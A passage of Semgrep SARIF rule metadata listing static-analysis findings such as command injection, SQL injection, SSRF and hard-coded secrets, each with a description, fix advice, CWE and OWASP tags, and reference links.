executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi.tainted-os-command-stdlib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"help":{"markdown":"This rule has been deprecated. Please remove it from your policies and rulepacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"This rule has been deprecated. Please remove it from your policies and rulepacks."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","id":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","name":"go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-orm-sqli-taint.pg-orm-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret-url.python-elasticsearch-hardcoded-secret-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"help":{"markdown":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect)\n - [https://flask-login.readthedocs.io/en/latest/#login-example](https://flask-login.readthedocs.io/en/latest/#login-example)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html#dangerous-url-redirect-example-1)\n - [https://docs.python.org/3/library/urllib.parse.html#url-parsing](https://docs.python.org/3/library/urllib.parse.html#url-parsing)\n","text":"Data from request is passed to redirect(). This is an open redirect and could be exploited. Consider using 'url_for()' to generate links to known locations. If you must use a URL to unknown pages, consider using 'urlparse()' or similar and checking if the 'netloc' property is the same as your site's host name. See the references for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.open-redirect.open-redirect","id":"python.flask.security.open-redirect.open-redirect","name":"python.flask.security.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"help":{"markdown":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true)\n - [https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess](https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n","text":"Found 'subprocess' function '$FUNC' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","id":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","name":"python.lang.security.audit.subprocess-shell-true.subprocess-shell-true","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.subprocess-shell-true.subprocess-shell-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","id":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","name":"python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.aiosqlite-fastapi.aiosqlite-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.mysql.python-mysql-empty-password.python-mysql-empty-password","id":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","name":"python.mysql.python-mysql-empty-password.python-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mysql.python-mysql-empty-password.python-mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"help":{"markdown":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver)\n - [https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide](https://docs.microsoft.com/en-us/dotnet/standard/serialization/binaryformatter-security-guide)\n","text":"Only use DataContractResolver if you are completely sure of what information is being serialized. Malicious types can cause unexpected behavior."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","id":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","name":"csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.data-contract-resolver.data-contract-resolver"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-taint-msg.file-taint-msg","id":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","name":"java.micronaut.path-traversal.file-taint-msg.file-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-taint-msg.file-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"help":{"markdown":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run)\n - [https://cwe.mitre.org/data/definitions/250.html](https://cwe.mitre.org/data/definitions/250.html)\n","text":"If unverified user data can reach the `run` or `create` method it can result in running arbitrary container."},"helpUri":"https://semgrep.dev/r/python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","id":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","name":"python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.docker.security.audit.docker-arbitrary-container-run.docker-arbitrary-container-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"go.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, the AWS Lambda Environment is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your environment variables in Lambda. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","id":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","name":"terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-environment-unencrypted.aws-lambda-environment-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"help":{"markdown":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n","text":"DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","id":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","name":"java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Rather than adding one element at a time, consider batch loading to improve performance."},"help":{"markdown":"Rather than adding one element at a time, consider batch loading to improve performance.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import)\n","text":"Rather than adding one element at a time, consider batch loading to improve performance."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.performance.performance-improvements.batch-import","id":"python.sqlalchemy.performance.performance-improvements.batch-import","name":"python.sqlalchemy.performance.performance-improvements.batch-import","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.performance.performance-improvements.batch-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"help":{"markdown":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug)\n - [https://docs.scala-lang.org/overviews/compiler-options/index.html](https://docs.scala-lang.org/overviews/compiler-options/index.html)\n","text":"Scala applications built with `debug` set to true in production may leak debug information to attackers. Debug mode also affects performance and reliability. Remove it from configuration."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.scalac-debug.scalac-debug","id":"scala.lang.security.audit.scalac-debug.scalac-debug","name":"scala.lang.security.audit.scalac-debug.scalac-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.scalac-debug.scalac-debug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/www-community/attacks/XPATH_Injection](https://owasp.org/www-community/attacks/XPATH_Injection)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"help":{"markdown":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data","id":"cpp.lang.security.containers.std-return-data.std-return-data","name":"cpp.lang.security.containers.std-return-data.std-return-data","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-return-data.std-return-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) 